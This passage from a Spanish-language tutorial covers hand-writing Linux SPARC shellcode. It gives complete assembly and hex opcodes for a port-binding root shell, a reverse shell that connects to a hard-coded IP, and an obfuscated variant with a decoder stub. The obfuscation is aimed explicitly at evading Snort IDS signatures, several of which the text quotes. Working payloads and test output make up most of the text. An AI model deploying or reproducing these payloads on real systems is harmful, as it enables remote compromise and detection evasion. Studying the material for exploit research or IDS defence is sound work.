/lib/libc.so.6 (gdb) disas Dump of assembler code for function bind: 0xf7ebf9fc : st %o0, [ %sp + 0x44 ] 0xf7ebfa00 : st %o1, [ %sp + 0x48 ] 0xf7ebfa04 : st %o2, [ %sp + 0x4c ] 0xf7ebfa08 : mov 2, %o0 0xf7ebfa0c : add %sp, 0x44, %o1 0xf7ebfa10 : mov 0xce, %g1 0xf7ebfa14 : ta 0x10 Breakpoint 2, 0xf7ebfb64 in listen () from /lib/libc.so.6 (gdb) disas Dump of assembler code for function listen: 0xf7ebfb64 : st %o0, [ %sp + 0x44 ] 0xf7ebfb68 : st %o1, [ %sp + 0x48 ] 0xf7ebfb6c : mov 4, %o0 0xf7ebfb70 : add %sp, 0x44, %o1 0xf7ebfb74 : mov 0xce, %g1 0xf7ebfb78 : ta 0x10 % grep `echo $((0xce))` /usr/include/asm-sparc64/unistd.h #define __NR_socketcall 206 /* Linux Specific */ % Ahí la tenemos. Lo mismo se aplica para el resto de syscalls que necesitamos, por lo que utilizaremos socketcall en todos los casos de idéntica forma a como lo haríamos en arquitectura IA-32: utilizando un registro para el valor de la syscall y otro como puntero a los argumentos. A modo de curiosidad podemos observar que htons() en Linux sparc no tiene misterio alguno: /usr/include/netinet/in.h:# if __BYTE_ORDER == __BIG_ENDIAN ... # define htons(x) (x) Bien, tenemos el primer punto resuelto, las syscalls. Vayamos a por el segundo, las macros necesarias: PF_INET, SOCK_STREAM, AF_INET e INADDR_ANY. bits/socket.h #define PF_INET 2/* IP protocol family. */ #define SOCK_STREAM = 1,/* Sequenced, reliable, connection-based #define AF_INET PF_INET /usr/include/netinet/in.h: #define INADDR_ANY ((in_addr_t) 0x00000000) Y el último punto: desguazar la estructura sockaddr_in, que la encontramos en netinet/in.h: struct sockaddr_in { __SOCKADDR_COMMON (sin_); in_port_t sin_port;>>->-/* Port number. */ struct in_addr sin_addr;>->-/* Internet address. */ /* Pad to size of `struct sockaddr'. */ unsigned char sin_zero[sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof (struct in_addr)]; }; /* Internet address. */ typedef uint32_t in_addr_t; struct in_addr { in_addr_t s_addr; }; Por lo que tenemos: _SOCKADDR_COMMON: typedef unsigned short int sa_family_t; sin_port: typedef uint16_t in_port_t; sin_addr: typedef uint32_t in_addr_t; sin_zero: sockaddr - #define __SOCKADDR_COMMON_SIZE>-(sizeof (unsigned \ short int)) - uint16_t - uint32_t Osea, que sin_zero = 16 - 2 - 2 - 4. Ya tenemos todo lo necesario para construir la shellcode en ensamblador, pero antes, echemos un vistazo a cómo se organiza el stack en SPARC. 6.2.1.- SPARC Stack Cuando el kernel carga un programa en memoria, lo hace relativamente cerca de 0x20000000, de tal forma que las siguientes instrucciones ocupan direcciones de memoria más altas. El kernel también se encarga de crear un poco de espacio para registros y variables automáticas en lo que se llama la pila o stack, cuya estructura es FILO y no difiere demasiado de la de otras arquitecturas. Como se ha explicado en multitud de documentos, el stack crece hacia abajo, de tal forma que si un programa necesita crear espacio, restará el número de bytes (alineados a 8) necesarios al registro %sp. El espacio mínimo reservado ha de ser de 64 bytes para poder almacenar la ventana de registro actual, pero lo normal es que se reserven 96 para guardar un puntero a estructura con el que hacer un return (si este fuera necesario) y -por convención-, espacio para los primeros seis argumentos aunque no se haya pasado ninguno. Así salen 64 + 4 + 24 = 92, que, alineados a 8 totalizan 96. Si el lector se pregunta por qué GCC 4.1 reserva 104... cosas del algoritmo utilizado y de valores devueltos en las subrutinas. Al fin y al cabo, main() no es más que otra subrutina. Así, de forma gráfica nos quedaría lo siguiente: direcciones más bajas (0x0000000) --------------------------- <-- %sp | | | Ventana de registro | | | --------------------------- <-- %sp + 64 | Puntero a valor de | | retorno | --------------------------- <-- %sp + 68 | Primeros 6 argumentos | | | --------------------------- <-- %sp + 92 { espacio dinámico } --------------------------- <-- %fp | Variables locales | --------------------------- <-- %fp - 4 direcciones más altas Entonces, si necesitamos direccionar una variable para cargarla desde o hacia un registro, ¿cómo lo hacemos? Con la familia de instrucciones load y store (en realidad sólo nos interesan las instrucciones ld, st y sth -esta última por motivos que veremos más adelante-). Esta familia de instrucciones funciona con dos operandos, siendo el segundo el destino de la instrucción y el primero un puntero (indicado entre corchetes): ld [ %fp + - 16 ], %l0 <-- carga la dirección de la cuarta variable en %l0 Con este esquema de stack en mente, volvamos al meollo del asunto: pasar a ensamblador el código anterior escrito en C. Y lo haremos empezando por el principio, la llamada a socket(): .align 4 ! alineamos el código .global _start _start: save %sp, -136, %sp ! reservamos espacio en el stack mov 0x2, %o0 ! AF_INET mov 0x1, %o1 ! SOCK_STREAM mov 0x0, %o2 ! protocolo st %o0, [ %sp + 0x44 ] st %o1, [ %sp + 0x48 ] st %o2, [ %sp + 0x4c ] ! colocamos los argumentos en el stack mov 0x1, %o0 ! valor de socket() para socketcall() add %sp, 0x44, %o1 ! indicamos en o1 la dirección de los args mov 0xce, %g1 ! 0xce = 206 = socketcall ta 0x10 ! equivalente a int 0x80, trap a la syscall Si lanzamos un strace sobre este código vemos que, efectivamente, funciona: % strace ./_socket execve("./_socket", ["./_socket"], [/* 31 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 --- SIGILL (Illegal instruction) @ 0 (0) --- +++ killed by SIGILL +++ El SIGILL lo ha dado porque no hemos añadido un sys_exit() al final del código. Si el lector prueba ese código con una llamada a exit() después del trap de socketcall() verá como desaparece. Adicionalmente, podemos preguntarnos por qué utilizamos 0x44 como dirección inicial de los argumentos en la pila: % echo $((0x44)) 68 % Efectivamente, porque 68 es el primer byte libre después de guardar la register window y el puntero a struct de retorno. Ya tenemos una parte, vamos a por la siguiente función, bind(): st %o0, [ %fp -4 ] ! guardamos el socket mov 0x2, %o0 ! empezamos a crear sockaddr_in sth %o0, [ %fp -24 ] ! sin_family = 2 (AF_INET) en el stack mov 0x464, %o0 ! sin_port = 1124 (recuerden, big-endian) sth %o0, [ %fp -22 ] ! colocamos sin_port en el stack clr [ %fp -20 ] ! metemos sin_addr (INADDR_ANY) en el stack ld [ %fp -4 ], %o0 ! volvemos a traer el socket add %fp, -24, %o1 ! preparamos el principio de la struct mov 0x10, %o2 ! sizeof struct st %o0, [ %sp + 0x44 ] ! apuntamos al socket st %o1, [ %sp + 0x48 ] ! apuntamos a la dirección de sockaddr_in st %o2, [ %sp + 0x4c ] ! agregamos el tamaño de la struct (16) mov 0x2, %o0 ! le decimos a socketcall() que queremos bindear add %sp, 0x44, %o1 ! unsigned long *args (sockaddr_in) mov 0xce, %g1 ! 0xce = 206 = socketcall ta 0x10 ! ejecutamos el trap Si ejecutamos el pertinente strace veremos cómo, efectivamente, el código funciona bien. Ahora es el turno para listen(): ld [ %fp - 4 ], %o0 ! recuperamos el socket como valor retornado mov 0x1, %o1 ! backlog de 1, pero podemos aumentar este valor st %o0, [ %sp + 0x44 ] ! socket st %o1, [ %sp + 0x48 ] ! backlog mov 0x4, %o0 ! listen() add %sp, 0x44, %o1 ! unsigned long *args (sockaddr_in) mov 0xce, %g1 ! 0xce = 206 = socketcall ta 0x10 Y finalizamos las syscalls de networking con accept(): ld [ %fp - 4 ], %o0 ! recuperamos el socket como valor retornado add %fp, -24, %o1 ! recuperamos sockaddr_in add %fp, -4, %o2 st %o0, [ %sp + 0x44 ] ! socket st %o1, [ %sp + 0x48 ] ! struct st %o2, [ %sp + 0x4c ] ! len mov 0x5, %o0 ! accept() add %sp, 0x44, %o1 ! unsigned long *args (sockaddr_in) mov 0xce, %g1 ! 0xce = 206 = socketcall ta 0x10 ! trap 'Mapeamos' los descriptores con dup2: st %o0, [ %fp - 8 ] ! nuevo socket ld [ %fp - 8], %o0 ! lo metemos como argumento xor %o1, %o1, %o1 ! stdin mov 0x5a, %g1 ! ta 0x10 ! trap ld [ %fp - 8], %o0 ! mov 0x1, %o1 ! stdout mov 0x5a, %g1 ! ta 0x10 ! trap ld [ %fp - 8], %o0 ! mov 0x2, %o1 ! stderr mov 0x5a, %g1 ! ta 0x10 ! y trap Y por último ejecutamos la shell: sethi %hi(0x2F62696E), %l0 or %l0, %lo(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 and %sp, %sp, %o0 xor %o1, %o1, %o1 mov 0xb, %g1 ta 0x10 El exit() aquí nos lo ahorramos porque si todo va como debe el proceso será sustituido por la shell lanzada en el execv(). Cogemos todos los 'chunks' de asm que hemos ido generando, los juntamos, los compilamos y ejecutamos: vt1: % ./sc1 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(1124), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 1) = 0 accept(3, vt2: % echo id | nc localhost 1124 uid=1000(coder) gid=100(users) groups=10(wheel),100(users) ^C ¡Funciona! ¿Ya tenemos nuestra bind shellcode de SPARC lista? No, falta solucionar el tema de los nulos, ya que si sacamos los opcodes veremos que alguno que otro se ha colado: (gdb) x/16bx _start 0x10074 <_start>: 0x9d 0xe3 0xbf 0x78 0x90 0x10 0x20 0x02 0x1007c <_start+8>: 0x92 0x10 0x20 0x01 0x94 0x10 0x20 0x00 (gdb) Ahí lo tenemos, en la cuarta instrucción aparece el único (hemos tenido suerte -o lo hemos hecho con cuidado ;)-) nulo de la shellcode. La cuarta instrucción es la asignación del protocolo en la llamada a socket(): mov 0x0, %o2 ! protocolo Eliminarlo es fácil usando un xor o un sub. Solucionado el nulo, probamos el código: char sc[] = "\x9d\xe3\xbf\x78\x90\x10\x20\x02\x92\x10" "\x20\x01\x94\x1a\x80\x0a\xd0\x23\xa0\x44" "\xd2\x23\xa0\x48\xd4\x23\xa0\x4c\x90\x10" "\x20\x01\x92\x03\xa0\x44\x82\x10\x20\xce" "\x91\xd0\x20\x10\xd0\x27\xbf\xfc\x90\x10" "\x20\x02\xd0\x37\xbf\xe8\x90\x10\x24\x64" "\xd0\x37\xbf\xea\xc0\x27\xbf\xec\xd0\x07" "\xbf\xfc\x92\x07\xbf\xe8\x94\x10\x20\x10" "\xd0\x23\xa0\x44\xd2\x23\xa0\x48\xd4\x23" "\xa0\x4c\x90\x10\x20\x02\x92\x03\xa0\x44" "\x82\x10\x20\xce\x91\xd0\x20\x10\xd0\x07" "\xbf\xfc\x92\x10\x20\x01\xd0\x23\xa0\x44" "\xd2\x23\xa0\x48\x90\x10\x20\x04\x92\x03" "\xa0\x44\x82\x10\x20\xce\x91\xd0\x20\x10" "\xd0\x07\xbf\xfc\x92\x07\xbf\xe8\x94\x07" "\xbf\xfc\xd0\x23\xa0\x44\xd2\x23\xa0\x48" "\xd4\x23\xa0\x4c\x90\x10\x20\x05\x92\x03" "\xa0\x44\x82\x10\x20\xce\x91\xd0\x20\x10" "\xd0\x27\xbf\xf8\xd0\x07\xbf\xf8\x92\x1a" "\x40\x09\x82\x10\x20\x5a\x91\xd0\x20\x10" "\xd0\x07\xbf\xf8\x92\x10\x20\x01\x82\x10" "\x20\x5a\x91\xd0\x20\x10\xd0\x07\xbf\xf8" "\x92\x10\x20\x02\x82\x10\x20\x5a\x91\xd0" "\x20\x10\x21\x0b\xd8\x9a\xa0\x14\x21\x6e" "\x23\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x1a" "\x40\x09\x82\x10\x20\x0b\x91\xd0\x20\x10"; int main() { int (*f)() = (int (*)()) sc; printf("len = %d\n", sizeof(sc)); (int)(*f)(); exit(0); } Sin embargo, aunque tengamos esta portbind funcionando, hay algo esencial que nos falta por hacer desde que hicimos la primera shellcode: evitar que nos 'dropeen' privilegios o, al menos, intentarlo. Un setreuid se hace necesario antes de llamar a execve(): xor %o0, %o0, %o0 xor %o1, %o1, %o1 mov 0x7e %g1 ta 0x10 Ese sería el código que deberíamos usar, pero nos genera un nulo en la primera instrucción que resulta complicado de quitar... a no ser que evitemos utilizar el registro %o0 como operando y lo utilicemos sólamente para almacenar el resultado de una operación: xor %o1, %o1, %o0 xor %o1, %o1, %o1 mov 0x7e, %g1 ta 0x10 Podemos comprobar que los opcodes generados son 'benignos': 0x92 0x1a 0x40 0x09 0x90 0x1a 0x40 0x09 0x82 0x10 0x20 0x7e 0x91 0xd0 0x20 0x10 Ahora sí que está todo. Si agregamos las cuatro instrucciones que forman el setreuid a la shellcode expuesta un poco más arriba justo antes de la llamada a execve() tendremos una shellcode con las siguientes características: + Portbind + Sin nulos + Con setreuid (cada cual que aplique el UID que considere necesario). El tamaño es de 277 bytes, por lo que es hora de optimizar. 6.2.2.- Optimización Durante todo el texto se ha explicado que el código para ejecutar una syscall se especifica en el registro %g1. Este registro permanece accesible en todo momento desde un ejecutable, y lo que es más importante, no se modifica de forma autónoma. Lo bueno de esto es que en nuestro código tenemos cuatro llamadas a socketcall(), por lo que aplicado el primer mov 0xce %g1 tendremos ya el valor ahí para el resto de llamadas. De esta forma ahorramos tres instrucciones. Aplicamos lo mismo en el caso de dup2() y ahorramos dos más, de forma que 4 * 5 = 20 bytes menos que ocupa la shellcode. Aparte de esto, podemos intentar comprimir los dups2() con el típico loop que nos permita ahorrar unas instrucciones extra. Para hacer un bucle en SPARC utilizaremos la familia de instrucciones que permiten hacer branchs. Si se tiene en cuenta lo explicado en el punto 5.1 RISC, observamos que la delayed instruction se ejecutará _antes_ de tomar el branch, por lo que, en un caso como el que nos ocupa en el que controlamos sin dificultad el flujo de código, podemos obtener ventaja -en cuanto a ciclos de CPU- y colocar ahí una instrucción que no sea una nop. El caso es el siguiente: necesitamos hacer un bucle for (o while, al fin y al cabo es lo mismo) en el que ejecutemos tres veces el trap a dup2() con el descriptor de fichero asociado, y eso lo podemos hacer de la siguiente forma: xor %o1, %o1, %o1 ! inicializamos el contador a cero st %o0, [ %fp - 8 ] ! guardamos el socket de accept() loop: ld [ %fp - 8], %o0 ! primer argumento de la syscall, el socket mov 0x5a, %g1 ! valor de dup2() ta 0x10 ! ejecutamos la syscall cmp %o1, 1 ! comparamos el valor ble loop ! si es menor o igual que 1, volvemos al bucle add %o1, 1, %o1 ! delayed instruction, incrementamos el contador Con este simple bucle pasamos de 11 instrucciones a 8, con lo que ahorramos otros 12 bytes, dejando la shellcode en 245 bytes, que no está mal :D Aunque, sinceramente y en honor a la verdad, la etiqueta loop está mal aplicada porque incluye también al execve y al setreuid, y no es correcto programar así. Pero la vamos a dejar porque esto no es un artículo sobre buenas prácticas de programación y la shellcode ha quedado bastante compacta teniendo en cuenta que las instrucciones ocupan 32 bits. Ya está todo... o no. Hay un opcode por ahí que según la situación en la que nos encontremos puede causar problemas. Se trata del opcode 0x0a, localizado en la cuarta instrucción, y que puede generar retornos de carro ("\n") en algunos casos, por lo que conviene eliminarlo. Y la verdad, no es fácil. No podemos utilizar set ni sethi porque nos creará nulos, al ser la dirección INADDR_ANY, osea, 0x0. Tampoco podemos utilizar otro registro (%o3, por ejemplo) porque la cosa no variará y seguiremos teniendo el opcode 0x0a como parte de la instrucción. Lo mismo ocurre si hacemos un 'sub %o2, %o2, %o2' o similar... el 0x0a sigue estando ahí. Comprobemos los opcodes: xor %o2, %o2, %o3 -> "\x96\x1a\x80\x0a" xor %o2, %o2, %o2 -> "\x94\x1a\x80\x0a" sub %o2, %o2, %o2 -> "\x94\x22\x80\x0a" El 0x0a sigue ahí. No quedan muchas opciones... usar 'dec' no es viable porque en realidad es una instrucción sintética que se convierte en un 'sub'. Buscando, uno puede pensar que no tiene solución y que ese opcode estará ahí, nos guste o no, por lo que esta shellcode no se podrá usar en todos los casos al utilizar muchos servicios ese caracter 0x0a de forma concreta... pero sí que se puede. Como en muchas ocasiones, la solución estaba delante de los ojos desde el principio: el registro %g0. Veamos en una tabla cómo quedaría la cosa: +-----------------------------------------------------+ | Antes | Después | +-----------------------------------------------------+ | (socket) | (socket) | | xor %o2, %o2, %o2 | ... | + ... + ... + | st %o2, [ %sp + 0x4c ] | st %g0, [ %sp + 0x4c ] | +-----------------------------------------------------+ Osea, que no sólo hemos eliminado el problema del opcode 0x0a sino que encima nos hemos ahorrado una instrucción adicional. Mejor, imposible. Para terminar, vamos a darle una última vuelta al asunto y ahorrar una instrucción extra difícil de ver al principio. Si se ha estado prestando atención, usted acordará de que el valor devuelto por una syscall se queda almacenado en el registro %o0. Bien, pues teniendo eso presente y utilizando otros registros para dejar libre el %o0 en la llamada a socket(), ahorraremos instrucciones adicionales. Veamos cómo: +-----------------------------------------------------+ | Antes | Después | +-----------------------------------------------------+ | (socket) | (socket) | | mov 0x2, %o0 | mov 0x2, %l0 | | mov 0x1, %o1 | mov 0x1, %l1 | | st %o0, [ %sp + 0x44 ] | st %l0, [ %sp + 0x44 ] | | st %o1, [ %sp + 0x48 ] | st %l1, [ %sp + 0x48 ] | + ... + ... + | (bind) | (bind) | | st %o0, [ %fp -4 ] | st %o0, [ %fp -4 ] | | mov 0x2, %o0 | ... | | sth %o0, [ %fp -24 ] | sth %l0, [ %fp -24] | +-----------------------------------------------------+ La ventaja de dejar de utilizar el registro %o1 tras la llamada a socket() es que, además, el valor 0x44 se guardará en él y nos lo ahorraremos tanto en bind() como en accept(). Y también, otra cosa importante es que a la hora de llamar a listen() y a accept(), en %sp+0x44 ya tenemos guardado el socket, por lo que no hace falta cargarlo ahí, ahorrando todavía más instrucciones. Finalmente y después de darle muchas vueltas, si cambiamos el loop podemos ahorrar un par de instrucciones, una en el propio bucle y otra en setreuid(): +-----------------------------------------------------+ | Antes | Después | +-----------------------------------------------------+ | xor %o1, %o1, %o1 | st %o0, [ %fp - 8 ] | | st %o0, [ %fp - 8 ] | loop: | | loop: | sub %o1, 1, %o1 | | ld [ %fp - 8], %o0 | mov 0x5a, %g1 | | mov 0x5a, %g1 | ta 0x10 | | ta 0x10 | cmp %o1, 1 | | cmp %o1, 1 | bge loop | | ble loop | ld [ %fp - 8], %o0 | | add %o1, 1, %o1 | xor %o1, %o1, %o0 | | xor %o1, %o1, %o0 | mov 0x7e, %g1 | | xor %o1, %o1, %o1 | ta 0x10 | | mov 0x7e, %g1 | | | ta 0x10 | | +-----------------------------------------------------+ Como beneficio colateral de este último tejemaneje del loop es una última instrucción que nos vamos a ahorrar de puro rebote: el xor del execve() nos lo podemos cargar, pues en %o1 _ya_ tenemos un nulo, al haberlo ido decrementando en el bucle en cada iteración. En este momento la shellcode tendría un tamaño de 205 bytes, y para bajar esta cifra habría que usar trucos algo más sucios, pero aquí, como ya he comentado, lo que prima es el tamaño y no la calidad. Si funciona, es suficiente. Y además, otra cosa: cuantos más opcodes eliminemos, mayores serán las probabilidades de que cuele como payload al pasar por un IDS. Viéndolo así, podemos ahorrarnos varias cosas más, aunque sea poco hortodoxo hacerlo: + backlog: el número de conexiones encoladas nos da exactamente igual. + reapuntar sockaddr_in: al no sobreescribir en la pila con el backlog, nos ahorramos dos instrucciones más: la de carga y apunte de la struct. + podemos eliminar un almacenaje del retorno de listen(), que no pinta nada en absoluto. Este no es un truco sucio sino algo que estaba ahí y teníamos que haber quitado desde el principio. Y con esto acaba el capítulo de optimización. La portbind-setreuid shellcode quedaría finalmente con este aspecto: .align 4 .global _start _start: save %sp, -128, %sp mov 0x2, %l0 mov 0x1, %l1 st %l0, [ %sp + 0x44 ] st %l1, [ %sp + 0x48 ] st %g0, [ %sp + 0x4c ] mov 0x1, %o0 add %sp, 0x44, %o1 mov 0xce, %g1 ta 0x10 st %o0, [ %fp -4 ] sth %l0, [ %fp -24 ] mov 0x464, %o0 sth %o0, [ %fp -22 ] clr [ %fp -20 ] ld [ %fp -4 ], %o0 add %fp, -24, %l1 mov 0x10, %o2 st %o0, [ %sp + 0x44 ] st %l1, [ %sp + 0x48 ] st %o2, [ %sp + 0x4c ] mov 0x2, %o0 ta 0x10 mov 0x1, %l1 mov 0x4, %o0 ta 0x10 add %fp, -4, %o2 st %o2, [ %sp + 0x4c ] mov 0x5, %o0 ta 0x10 mov 0x3, %o1 st %o0, [ %fp - 8 ] loop: sub %o1, 1, %o1 mov 0x5a, %g1 ta 0x10 cmp %o1, 1 bge loop ld [ %fp - 8], %o0 xor %o1, %o1, %o0 mov 0x7e, %g1 ta 0x10 sethi %hi(0x2F62696E), %l0 or %l0, %lo(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 and %sp, %sp, %o0 mov 0xb, %g1 ta 0x10 Número de instrucciones: 47. Tamaño final: 189 bytes. Ahorro: 88 bytes (equivalente a 22 instrucciones). NOTA: Se podrían cambiar los sethi/or/sethi por dos sets sintéticos, pero el ensamblador lo traduciría en la combinación que ya usamos, por lo que no vale la pena al no ahorrar nada. Pero si al lector le gusta más set... adelante. 6.3.- Client shellcode (connect-back o 'reverse') Una shellcode portbind, como todo el mundo sabe, de nada sirve si abre un socket (puerto) en la máquina que luego resulta estar filtrado en el firewall que tenga por delante. Por eso inventaron las shellcode clientes, para poder conectar a un servidor remoto que esté escuchando en un puerto determinado. Una especie de C&C de un solo usuario 'infectado' al que lanzarle comandos. Hay quien las llama 'connect-back shellcode' o 'reverse shellcode' , pero yo creo que son más un cliente shell que otra cosa. En este apartado, para no repetirnos, lo haremos todo mucho más breve. De esta forma quedará también como ejercicio para el lector el realizar todos los pasos (que, además, son algo más sencillos que en el caso anterior al haber menos instrucciones). Cuando programamos un cliente sencillo, necesitamos, como mínimo, llamar dos veces a socketcall(): una como socket() y otra como connect(). Además, en el caso de una shellcode deberemos, de igual forma que en el caso anterior, utilizar dup2() para la redirección de las salidas estándar, setreuid() para intentar mantener privilegios y execve(), obviamente, para 'mapear' a la shell: + socket + connect + dup2 x 3 + setreuid + execve Ese es el orden en el que ejecutaremos las instrucciones, ya optimizadas al máximo después de haber leído el apartado anterior: .global _start _start: save %sp, -128, %sp mov 0x2, %l0 mov 0x1, %l1 st %l0, [ %sp + 0x44 ] st %l1, [ %sp + 0x48 ] st %g0, [ %sp + 0x4c ] add %sp, 0x44, %o1 mov 0x1, %o0 mov 0xce, %g1 ta 0x10 st %o0, [ %fp - 4 ] mov 0x464, %l1 ! puerto 1124 sethi %hi(0x0a0c2203), %l2 ! or %l2, %lo(0x0a0c2203), %l2 ! dirección IP 10.12.34.3 sth %l0, [ %fp - 24 ] sth %l1, [ %fp - 22 ] st %l2, [ %fp - 20 ] ld [ %fp - 4 ], %o0 add %fp, -24, %o2 mov 0x10, %o3 st %o0, [ %sp + 0x44 ] st %o2, [ %sp + 0x48 ] st %o3, [ %sp + 0x4c ] mov 0x3, %o0 ta 0x10 mov 0x3, %o1 loop: ld [ %fp - 4], %o0 sub %o1, 1, %o1 mov 0x5a, %g1 ta 0x10 cmp %o1, 1 bge loop xor %o1, %o1, %o0 mov 0x7e, %g1 ta 0x10 sethi %hi(0x2F62696E), %l0 or %l0, %lo(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 and %sp, %sp, %o0 mov 0xb, %g1 ta 0x10 Número de instrucciones: 41. Tamaño final: 165 bytes. NOTA: Se puede optimizar más. Lo dejamos como deberes para el lector. 6.4.- Polymorphic shellcode: NOTA: Este apartado es un 'work in progress'. En los últimos años los IDS han ido paulatinamente aumentando de forma considerable su arsenal de firmas para la detección de shellcodes. Sin ir más lejos, en el momento de escribir estas líneas podemos encontrar hasta 13 nuevos patrones de detección en las reglas Bleeding para Snort que podemos agregar a los 50 que ya vienen por defecto. Eso suman 63 firmas, pero estamos de suerte, porque tan sólo hay tres que detecten shellcodes para sparc: shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET any ( msg:"SHELLCODE sparc NOOP"; content:"|13 C0 1C A6 13 C0 1C A6 13 C0 1C A6 13 C0 1C A6|"; reference:arachnids,345; classtype:shellcode-detect; sid:644; rev:6;) shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET any ( msg:"SHELLCODE sparc NOOP"; content:"|80 1C|@|11 80 1C|@|11 80 1C|@|11 80 1C|@|11|"; reference:arachnids,353; classtype:shellcode-detect; sid:645; rev:6;) shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET any ( msg:"SHELLCODE sparc NOOP"; content:"|A6 1C C0 13 A6 1C C0 13 A6 1C C0 13 A6 1C C0 13|"; reference:arachnids,355; classtype:shellcode-detect; sid:646; rev:6;) Lo curioso del asunto es que ninguno de estos patrones detectaría las shellcodes que hemos creado a lo largo del artículo, pero eso no quita para que investiguemos un poco este campo. En el año 2000 ya había una serie de IDS que incluían patrones para la detección de noop sleds (principalmente para IA-32), de forma que el abuso del opcode 0x90 hacía evidente que alguien estaba lanzando un exploit contra un servicio. Por ello, en 2001 apareció ADMmutate, que era capaz de crear 'shellcodes polimórficas'. Personalmente creo que el nombre correcto debería ser shellcode ofuscada, pues el polimorfismo no era parte de la propia shellcode sino que era ADMmutate el que devolvía una shellcode con una rutina para descifrar la parte que ejecutaba la shell. Las formas de ofuscar solían ser los típicos mov para transposición de caracteres adyacentes, xor con alguna key o el uso de add y sub. Y era bastante efectivo. De hecho, los autores de ADMmutate decían que tenían hasta 55 variantes para el opcode 0x90, y según la ejecución del programa, agregaban uno u otro. En este apartado vamos a modificar a modo de PoC la shellcode portbind desarrollada en el punto 6.3 de tal forma que a cada opcode le sumaremos 2. Esto, a pesar de ser muy simple, nos servirá para entender cómo ofuscar la shellcode. Como ejemplo, cojamos los opcodes y sumémosles un offset de 2: "\x9f\xe5\xc1\x82\xa2\x12\x22\x04\xa4\x12\x22\x03\xe2\x25\xa2\x46\xe4\x25" "\xa2\x4a\xc2\x25\xa2\x4e\x92\x12\x22\x03\x94\x05\xa2\x46\x84\x12\x22\xd0" "\x93\xd2\x22\x12\xd2\x29\xc1\xfe\xe2\x39\xc1\xea\x92\x12\x26\x66\xd2\x39" "\xc1\xec\xc2\x29\xc1\xee\xd2\x09\xc1\xfe\xa4\x09\xc1\xea\x96\x12\x22\x12" "\xd2\x25\xa2\x46\xe4\x25\xa2\x4a\xd6\x25\xa2\x4e\x92\x12\x22\x04\x93\xd2" "\x22\x12\xa4\x12\x22\x03\x92\x12\x22\x06\x93\xd2\x22\x12\x96\x09\xc1\xfe" "\xd6\x25\xa2\x4e\x92\x12\x22\x07\x93\xd2\x22\x12\x94\x12\x22\x05\xd2\x29" "\xc1\xfa\x94\x24\x62\x03\x84\x12\x22\x5c\x93\xd2\x22\x12\x82\xa4\x62\x03" "\x18\xc1\x01\xfe\xd2\x09\xc1\xfa\x92\x1c\x42\x0b\x84\x12\x22\x80\x93\xd2" "\x22\x12\x23\x0d\xda\x9c\xa2\x16\x23\x70\x25\x0d\xde\xdc\x92\x0d\x82\x10" "\x84\x12\x22\x0d\x93\xd2\x22\x12" Bien. Tenemos la portbind 'ofuscada' para intentar evitar la firmas de los IDS, pero por sí sóla de poco sirve, pues al ejecutarla, como es lógico, dará un bonito SIGILL. Ahora lo que necesitamos es crear una rutina en ensamblador que lea byte a byte, lo decremente en 2 y lo vuelva a escribir en su sitio. Para hacer esto se nos plantea el reto de averiguar, en tiempo de ejecución, la dirección base de la shellcode ofuscada para empezar a decodificarla. En IA-32 podríamos obtener la dirección de la shellcode haciendo un jump/call + pop de igual forma que se hace, como hemos comentado anteriormente, para averiguar la dirección de una cadena. En SPARC, gracias al delay slot, la dirección la obtenemos al sumar 8 al registro %o7 después de un call, que es el que contiene la siguiente instrucción a ejecutar. ¿Y por qué 8 y no 4? Pues porque %o7 + 4 es la delayed instruction, que ya ha sido ejecutada _antes_ del call. Al ser SPARC de tipo Load/Store, no podemos hacer como en IA-32 que con una sóla instrucción podríamos directamente operar sobre un valor en memoria. Algo de este estilo: pop esi sub byte [esi], 2 Se convierte en esto: add %o7, 8, %l1 ldub [%l1], %l4 nop sub %l4, 2, %l4 stub %l4, [%l1] La nop es necesaria porque al hacer el load el valor no es guardado en el registro hasta que se ejecuta la siguiente instrucción. Esto no quiere decir que haya que poner una instrucción nop sino que podemos usar cualquiera que no altere el flujo del código. ldub y stub indican que ha de leer o escribir un unsigned byte sólamente y no cuatro bytes. Sabiendo esto, podemos usar el truco del 'un-dos-tres' para crear un código que recorra la shellcode y la vaya cambiando byte a byte, para luego saltar a ella y ejecutarla: main: ba tres xor %l2, %l2, %l2 uno: add %o7, 8, %l1 dos: ldub [ %l1 + %g5 ], %l4 inc %l2 sub %l4, 2, %l4 stb %l4, [ %l1 + %g5 ] cmp %l2, 196 ble dos inc %l1 jmpl %o7 + 8, %g5 xor %l2, %l2, %l2 tres: call uno xor %g5, %g5, %g5 Este código lo que hace es lo siguiente: + Primero salta al label 'tres' y ejecuta la delayed instruction, que es el xor, el cual usaremos como contador para saber cuándo hemos de parar el decremento de los bytes de la shellcode. + Segundo ejecutamos una llamada al label 'uno' e inicializamos %g5 a cero. + Tercero: nos guardamos en %l1 la dirección de la shellcode, la cual, cuando 'montemos' todo el código, la tendremos después del xor de %g5. + Cuarto y último: nos creamos un bucle en el que vamos leyendo byte a byte, decrementándolo e insertándolo de nuevo donde estaba para, finalmente, saltar a ese código con el jmpl %o7+8. Aquí hay que explicar algunas cosas que quizá, a priori, no tengan demasiado sentido: + La instrucción que tenemos en el label 'uno' sirve para guardar, como se explicado más arriba, la dirección de la shellcode, situada a 8 bytes del call uno. + Hacemos un ldub/lsub de %l1 + %g5 porque, aunque parezca absurdo sumarle un cero a la dirección de memoria apuntada por %l1, es la única forma que he encontrado para eliminar los nulos que estas instrucciones generan. + El contador %l2 llega hasta 196, cuando la shellcode nos ocupa menos. El motivo es que, debido al i-cache en SPARC, debemos meter un par de nops, también ofuscadas, antes del comienzo de la shellcode, ya que sino acabaremos con señales SIGBUS. Ahora que lo tenemos todo, juntaremos la rutina desofuscadora con las nops y la shellcode ofuscadas y las probaremos: char sc[] = /* rutina desofuscadora */ "\x10\x80\x00\x0c\xa4\x1c\x80\x12\xa2\x03\xe0\x08\xe8\x0c\x40\x05" 